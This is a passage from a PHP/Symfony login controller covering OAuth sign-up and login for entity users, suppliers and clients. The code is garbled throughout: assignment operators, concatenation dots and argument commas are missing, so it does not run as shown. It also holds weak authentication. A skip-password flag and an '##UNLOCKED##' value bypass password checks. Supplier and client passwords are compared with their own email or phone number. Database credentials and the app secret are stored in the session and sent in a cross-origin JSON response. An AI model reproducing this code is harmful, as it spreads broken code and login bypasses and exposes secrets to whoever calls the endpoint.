  1417.                         );
  1418.                         if ($user) {
  1419.                             //no need to verify for oauth just proceed
  1420.                         } else {
  1421.                             //add new user and pass that user
  1422.                             $add_user EntityUserM::addNewEntityUser(
  1423.                                 $em_goc,
  1424.                                 $oAuthData['name'],
  1425.                                 $oAuthData['email'],
  1426.                                 '',
  1427.                                 0,
  1428.                                 0,
  1429.                                 0,
  1430.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  1431.                                 [],
  1432.                                 0,
  1433.                                 "",
  1434.                                 0,
  1435.                                 "",
  1436.                                 $image '',
  1437.                                 $deviceId,
  1438.                                 0,
  1439.                                 0,
  1440.                                 $oAuthData['uniqueId'],
  1441.                                 $oAuthData['token'],
  1442.                                 $oAuthData['image'],
  1443.                                 $oAuthData['emailVerified'],
  1444.                                 $oAuthData['type']
  1445.                             );
  1446.                             if ($add_user['success'] == true) {
  1447.                                 $firstLogin 1;
  1448.                                 $user $add_user['user'];
  1449.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  1450.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  1451.                                         ->setFrom('registration@entity.innobd.com')
  1452.                                         ->setTo($user->getEmail())
  1453.                                         ->setBody(
  1454.                                             $this->renderView(
  1455.                                                 '@Application/email/user/registration_karbar.html.twig',
  1456.                                                 array('name' => $request->request->get('name'),
  1457.                                                     //                                                    'companyData' => $companyData,
  1458.                                                     //                                                    'userName'=>$request->request->get('email'),
  1459.                                                     //                                                    'password'=>$request->request->get('password'),
  1460.                                                 )
  1461.                                             ),
  1462.                                             'text/html'
  1463.                                         );
  1464.                                     /*
  1465.                                                        * If you also want to include a plaintext version of the message
  1466.                                                       ->addPart(
  1467.                                                           $this->renderView(
  1468.                                                               'Emails/registration.txt.twig',
  1469.                                                               array('name' => $name)
  1470.                                                           ),
  1471.                                                           'text/plain'
  1472.                                                       )
  1473.                                                       */
  1474.                                     //            ;
  1475.                                     $this->get('mailer')->send($emailmessage);
  1476.                                 }
  1477.                             }
  1478.                         }
  1479.                     }
  1480.                 } else {
  1481.                     $data = array();
  1482.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1483.                         array(
  1484.                             'email' => $request->request->get('username')
  1485.                         )
  1486.                     );
  1487.                     if (!$user) {
  1488.                         $message "Wrong Email";
  1489.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1490.                             return new JsonResponse(array(
  1491.                                 'uid' => $session->get(UserConstants::USER_ID),
  1492.                                 'session' => $session,
  1493.                                 'success' => false,
  1494.                                 'errorStr' => $message,
  1495.                                 'session_data' => [],
  1496.                             ));
  1497.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1498.                             //                    return $response;
  1499.                         }
  1500.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1501.                             "message" => $message,
  1502.                             'page_title' => "Login",
  1503.                             'gocList' => $gocDataList,
  1504.                             'gocId' => $gocId
  1505.                         ));
  1506.                     }
  1507.                     if ($user) {
  1508.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1509.                             $message "Sorry, Your Account is Deactivated";
  1510.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1511.                                 return new JsonResponse(array(
  1512.                                     'uid' => $session->get(UserConstants::USER_ID),
  1513.                                     'session' => $session,
  1514.                                     'success' => false,
  1515.                                     'errorStr' => $message,
  1516.                                     'session_data' => [],
  1517.                                 ));
  1518.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1519.                                 //                    return $response;
  1520.                             }
  1521.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1522.                                 "message" => $message,
  1523.                                 'page_title' => "Login",
  1524.                                 'gocList' => $gocDataList,
  1525.                                 'gocId' => $gocId
  1526.                             ));
  1527.                         }
  1528.                     }
  1529.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1530.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1531.                         $message "Wrong Email/Password";
  1532.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1533.                             return new JsonResponse(array(
  1534.                                 'uid' => $session->get(UserConstants::USER_ID),
  1535.                                 'session' => $session,
  1536.                                 'success' => false,
  1537.                                 'errorStr' => $message,
  1538.                                 'session_data' => [],
  1539.                             ));
  1540.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1541.                             //                    return $response;
  1542.                         }
  1543.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1544.                             "message" => $message,
  1545.                             'page_title' => "Login",
  1546.                             'gocList' => $gocDataList,
  1547.                             'gocId' => $gocId
  1548.                         ));
  1549.                     }
  1550.                 }
  1551.                 if ($user) {
  1552.                     //set cookie
  1553.                     if ($remember_me == 1)
  1554.                         $session->set('REMEMBERME'1);
  1555.                     else
  1556.                         $session->set('REMEMBERME'0);
  1557.                     $userType $user->getUserType();
  1558.                     // Entity User
  1559.                     $userId $user->getUserId();
  1560.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1561.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1562.                     $session->set('firstLogin'$firstLogin);
  1563.                     $session->set(UserConstants::USER_TYPE$userType);
  1564.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1565.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1566.                     $session->set('oAuthImage'$user->getOAuthImage());
  1567.                     $session->set(UserConstants::USER_NAME$user->getName());
  1568.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1569.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1570.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1571.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1572.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1573.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1574.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1575.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1576.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1577.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1578.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1579.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1580.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1581.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1582.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1583.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1584.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1585.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1586.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1587.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1588.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1589.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1590.                     $route_list_array = [];
  1591.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1592.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1593.                     $loginID EntityUserM::addEntityUserLoginLog(
  1594.                         $em_goc,
  1595.                         $userId,
  1596.                         $request->server->get("REMOTE_ADDR"),
  1597.                         0,
  1598.                         $deviceId,
  1599.                         $oAuthData['token'],
  1600.                         $oAuthData['type']
  1601.                     );
  1602.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1603.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1604.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1605.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1606.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1607.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1608.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1609.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1610.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1611.                     $appIdList json_decode($user->getUserAppIdList());
  1612.                     if ($appIdList == null)
  1613.                         $appIdList = [];
  1614.                     $companyIdListByAppId = [];
  1615.                     $companyNameListByAppId = [];
  1616.                     $companyImageListByAppId = [];
  1617.                     if (!in_array($user->getUserAppId(), $appIdList))
  1618.                         $appIdList[] = $user->getUserAppId();
  1619.                     foreach ($appIdList as $currAppId) {
  1620.                         if ($currAppId == $user->getUserAppId()) {
  1621.                             foreach ($company_id_list as $index_company => $company_id) {
  1622.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1623.                                 $app_company_index $currAppId '_' $company_id;
  1624.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1625.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1626.                             }
  1627.                         } else {
  1628.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1629.                                 $this->getDoctrine()->getManager('company_group'),
  1630.                                 $gocEnabled,
  1631.                                 $currAppId
  1632.                             );
  1633.                             if (!empty($dataToConnect)) {
  1634.                                 $connector $this->container->get('application_connector');
  1635.                                 $connector->resetConnection(
  1636.                                     'default',
  1637.                                     $dataToConnect['dbName'],
  1638.                                     $dataToConnect['dbUser'],
  1639.                                     $dataToConnect['dbPass'],
  1640.                                     $dataToConnect['dbHost'],
  1641.                                     $reset true
  1642.                                 );
  1643.                                 $em $this->getDoctrine()->getManager();
  1644.                                 $companyList Company::getCompanyListWithImage($em);
  1645.                                 foreach ($companyList as $c => $dta) {
  1646.                                     //                                $company_id_list[]=$c;
  1647.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1648.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1649.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1650.                                     $app_company_index $currAppId '_' $c;
  1651.                                     $company_locale $companyList[$c]['locale'];
  1652.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1653.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1654.                                 }
  1655.                             }
  1656.                         }
  1657.                     }
  1658.                     $session->set('appIdList'$appIdList);
  1659.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1660.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1661.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1662.                     $branchIdList json_decode($user->getUserBranchIdList());
  1663.                     $branchId $user->getUserBranchId();
  1664.                     $session->set('branchIdList'$branchIdList);
  1665.                     $session->set('branchId'$branchId);
  1666.                     if ($user->getAllModuleAccessFlag() == 1)
  1667.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1668.                     else
  1669.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1670.                     $session_data = array(
  1671.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1672.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1673.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1674.                         'firstLogin' => $firstLogin,
  1675.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1676.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1677.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1678.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1679.                         'oAuthImage' => $session->get('oAuthImage'),
  1680.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1681.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1682.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1683.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1684.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1685.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1686.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1687.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1688.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1689.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1690.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1691.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1692.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1693.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1694.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1695.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1696.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1697.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1698.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1699.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1700.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1701.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1702.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1703.                         //new
  1704.                         'appIdList' => $session->get('appIdList'),
  1705.                         'branchIdList' => $session->get('branchIdList'null),
  1706.                         'branchId' => $session->get('branchId'null),
  1707.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1708.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1709.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1710.                     );
  1711.                     $session_data $this->filterClientSessionData($session_data);
  1712.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1713.                     $token $tokenData['token'];
  1714.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1715.                         $session->set('remoteVerified'1);
  1716.                         $response = new JsonResponse(array(
  1717.                             'token' => $token,
  1718.                             'uid' => $session->get(UserConstants::USER_ID),
  1719.                             'session' => $session,
  1720.                             'success' => true,
  1721.                             'session_data' => $session_data,
  1722.                         ));
  1723.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1724.                         return $response;
  1725.                     }
  1726.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1727.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1728.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1729.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1730.                                 $redPath parse_url($redPHP_URL_PATH);
  1731.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1732.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1733.                                 // The HB360 "my estimate" / rooftop tool pages are APPLICANT-only
  1734.                                 // (Hb360MyEstimateAction bounces any non-applicant to central_login).
  1735.                                 // Only honour a return-to-estimate redirect when the person who just
  1736.                                 // logged in is actually an applicant continuing the instant-estimate
  1737.                                 // flow. Otherwise an ERP/company login that happened to have an estimate
  1738.                                 // URL captured (e.g. the user browsed the tool first) would be dumped on
  1739.                                 // the estimate page instead of their normal company/central landing.
  1740.                                 $isEstimateTarget = (strripos($redPath'estimate') !== false || strripos($redPath'hb360') !== false);
  1741.                                 $userTypeNow = (int) $session->get(UserConstants::USER_TYPE);
  1742.                                 $honourRed = (!$isEstimateTarget) || ($userTypeNow === UserConstants::USER_TYPE_APPLICANT);
  1743.                                 // Never land the browser on a non-navigational endpoint (JSON/AJAX)
  1744.                                 // that was bounced to login pre-auth â€” e.g. the signature probes the
  1745.                                 // signature-setup modal/footer fire on first load (/signature_status
  1746.                                 // AND /CheckSignatureHash, which returns the raw signature hash).
  1747.                                 // Match any "signature" or "/api/" path. Otherwise first login dumps
  1748.                                 // the user on raw JSON instead of the app.
  1749.                                 if ($honourRed
  1750.                                     && strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false
  1751.                                     && strripos($redPath'signature') === false && strripos($redPath'/api/') === false) {
  1752.                                     return $this->redirect($red);
  1753.                                 }
  1754.                                 // Not honoured (guarded target, or an estimate target for a non-applicant):
  1755.                                 // fall through to the user's own landing instead of the estimate page.
  1756.                                 if ($user->getDefaultRoute() != "" && $user->getDefaultRoute() != null) {
  1757.                                     return $this->redirectToRoute($user->getDefaultRoute());
  1758.                                 }
  1759.                                 return $this->redirectToRoute("dashboard");
  1760.                             }
  1761.                         } else {
  1762.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1763.                         }
  1764.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1765.                         return $this->redirectToRoute("dashboard");
  1766.                     else
  1767.                         return $this->redirectToRoute($user->getDefaultRoute());
  1768. //                    if ($request->server->has("HTTP_REFERER")) {
  1769. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1770. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1771. //                        }
  1772. //                    }
  1773. //
  1774. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1775. //                    if ($request->request->has('referer_path')) {
  1776. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1777. //                            return $this->redirect($request->request->get('referer_path'));
  1778. //                        }
  1779. //                    }
  1780.                     //                    if($request->request->has('gocId')
  1781.                 }
  1782.             } else {
  1783.                 if ($specialLogin == 1) {
  1784.                 } else if (strpos($uname'SID-') !== false) {
  1785.                     $specialLogin 1;
  1786.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1787.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1788.                     //*** supplier id will be last 6 DIgits
  1789.                     $str_app_id_supplier_id substr($uname4);
  1790.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1791.                     {
  1792.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1793.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1794.                     }
  1795.                     //                else
  1796.                     //                {
  1797.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1798.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1799.                     //                }
  1800.                 } else if (strpos($uname'CID-') !== false) {
  1801.                     $specialLogin 1;
  1802.                     $userType UserConstants::USER_TYPE_CLIENT;
  1803.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1804.                     //*** supplier id will be last 6 DIgits
  1805.                     $str_app_id_client_id substr($uname4);
  1806.                     $clientId = ($str_app_id_client_id) % 1000000;
  1807.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1808.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1809.                     $specialLogin 1;
  1810.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1811.                     $isApplicantLogin 1;
  1812.                     if ($oAuthData) {
  1813.                         $email $oAuthData['email'];
  1814.                         $userName $email;
  1815. //                        $userName = explode('@', $email)[0];
  1816. //                        $userName = str_split($userName);
  1817. //                        $userNameArr = $userName;
  1818.                     } else if (strpos($uname'APP-') !== false) {
  1819.                         $email $uname;
  1820.                         $userName substr($email4);
  1821. //                        $userNameArr = str_split($userName);
  1822. //                        $generatedIdFromAscii = 0;
  1823. //                        foreach ($userNameArr as $item) {
  1824. //                            $generatedIdFromAscii += ord($item);
  1825. //                        }
  1826. //
  1827. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1828. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1829. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1830.                     } else {
  1831.                         $email $uname;
  1832.                         $userName $uname;
  1833. //                            $userName = substr($email, 4);
  1834. //                        $userName = explode('@', $email)[0];
  1835. //                            $userNameArr = str_split($userName);
  1836.                     }
  1837.                 }
  1838.                 $data = array();
  1839.                 if ($hasGoc == 1) {
  1840.                     if ($gocId != && $gocId != "") {
  1841. //                        $gocId = $request->request->get('gocId');
  1842.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1843.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1844.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1845.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1846.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1847.                         $connector $this->container->get('application_connector');
  1848.                         $connector->resetConnection(
  1849.                             'default',
  1850.                             $gocDataList[$gocId]['dbName'],
  1851.                             $gocDataList[$gocId]['dbUser'],
  1852.                             $gocDataList[$gocId]['dbPass'],
  1853.                             $gocDataList[$gocId]['dbHost'],
  1854.                             $reset true
  1855.                         );
  1856.                     } else if ($appId != && $appId != "") {
  1857.                         $gocId $request->request->get('gocId');
  1858.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1859.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1860.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1861.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1862.                         $gocId $gocDataListByAppId[$appId]['id'];
  1863.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1864.                         $connector $this->container->get('application_connector');
  1865.                         $connector->resetConnection(
  1866.                             'default',
  1867.                             $gocDbName,
  1868.                             $gocDbUser,
  1869.                             $gocDbPass,
  1870.                             $gocDbHost,
  1871.                             $reset true
  1872.                         );
  1873.                     }
  1874.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1875.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1876.                     if ($gocId != && $gocId != "") {
  1877.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1878.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1879.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1880.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1881.                         $connector $this->container->get('application_connector');
  1882.                         $connector->resetConnection(
  1883.                             'default',
  1884.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1885.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1886.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1887.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1888.                             $reset true
  1889.                         );
  1890.                     }
  1891.                 }
  1892.                 $session $request->getSession();
  1893.                 $em $this->getDoctrine()->getManager();
  1894.                 //will work on later on supplier login
  1895.                 if ($specialLogin == 1) {
  1896.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1897.                         //validate supplier
  1898.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1899.                             ->findOneBy(
  1900.                                 array(
  1901.                                     'supplierId' => $supplierId
  1902.                                 )
  1903.                             );
  1904.                         if (!$supplier) {
  1905.                             $message "Wrong UserName";
  1906.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1907.                                 return new JsonResponse(array(
  1908.                                     'uid' => $session->get(UserConstants::USER_ID),
  1909.                                     'session' => $session,
  1910.                                     'success' => false,
  1911.                                     'errorStr' => $message,
  1912.                                     'session_data' => [],
  1913.                                 ));
  1914.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1915.                                 //                    return $response;
  1916.                             }
  1917.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1918.                                 "message" => $message,
  1919.                                 'page_title' => "Login",
  1920.                                 'gocList' => $gocDataList,
  1921.                                 'gocId' => $gocId
  1922.                             ));
  1923.                         }
  1924.                         if ($supplier) {
  1925.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1926.                                 $message "Sorry, Your Account is Deactivated";
  1927.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1928.                                     return new JsonResponse(array(
  1929.                                         'uid' => $session->get(UserConstants::USER_ID),
  1930.                                         'session' => $session,
  1931.                                         'success' => false,
  1932.                                         'errorStr' => $message,
  1933.                                         'session_data' => [],
  1934.                                     ));
  1935.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1936.                                     //                    return $response;
  1937.                                 }
  1938.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1939.                                     "message" => $message,
  1940.                                     'page_title' => "Login",
  1941.                                     'gocList' => $gocDataList,
  1942.                                     'gocId' => $gocId
  1943.                                 ));
  1944.                             }
  1945.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1946.                                 //pass ok proceed
  1947.                             } else {
  1948.                                 if ($skipPassword == 1) {
  1949.                                 } else {
  1950.                                     $message "Wrong Email/Password";
  1951.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1952.                                         return new JsonResponse(array(
  1953.                                             'uid' => $session->get(UserConstants::USER_ID),
  1954.                                             'session' => $session,
  1955.                                             'success' => false,
  1956.                                             'errorStr' => $message,
  1957.                                             'session_data' => [],
  1958.                                         ));
  1959.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1960.                                         //                    return $response;
  1961.                                     }
  1962.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1963.                                         "message" => $message,
  1964.                                         'page_title' => "Login",
  1965.                                         'gocList' => $gocDataList,
  1966.                                         'gocId' => $gocId
  1967.                                     ));
  1968.                                 }
  1969.                             }
  1970.                             $jd = [$supplier->getCompanyId()];
  1971.                             if ($jd != null && $jd != '' && $jd != [])
  1972.                                 $company_id_list $jd;
  1973.                             else
  1974.                                 $company_id_list = [1];
  1975.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1976.                             foreach ($company_id_list as $c) {
  1977.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1978.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1979.                             }
  1980.                             $user $supplier;
  1981.                         }
  1982.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1983.                         //validate supplier
  1984.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1985.                             ->findOneBy(
  1986.                                 array(
  1987.                                     'clientId' => $clientId
  1988.                                 )
  1989.                             );
  1990.                         if (!$client) {
  1991.                             $message "Wrong UserName";
  1992.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1993.                                 return new JsonResponse(array(
  1994.                                     'uid' => $session->get(UserConstants::USER_ID),
  1995.                                     'session' => $session,
  1996.                                     'success' => false,
  1997.                                     'errorStr' => $message,
  1998.                                     'session_data' => [],
  1999.                                 ));
  2000.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2001.                                 //                    return $response;
  2002.                             }
  2003.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2004.                                 "message" => $message,
  2005.                                 'page_title' => "Login",
  2006.                                 'gocList' => $gocDataList,
  2007.                                 'gocId' => $gocId
  2008.                             ));
  2009.                         }
  2010.                         if ($client) {
  2011.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  2012.                                 $message "Sorry, Your Account is Deactivated";
  2013.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2014.                                     return new JsonResponse(array(
  2015.                                         'uid' => $session->get(UserConstants::USER_ID),
  2016.                                         'session' => $session,
  2017.                                         'success' => false,
  2018.                                         'errorStr' => $message,
  2019.                                         'session_data' => [],
  2020.                                     ));
  2021.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2022.                                     //                    return $response;
  2023.                                 }
  2024.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2025.                                     "message" => $message,
  2026.                                     'page_title' => "Login",
  2027.                                     'gocList' => $gocDataList,
  2028.                                     'gocId' => $gocId
  2029.                                 ));
  2030.                             }
  2031.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  2032.                                 //pass ok proceed
  2033.                             } else {
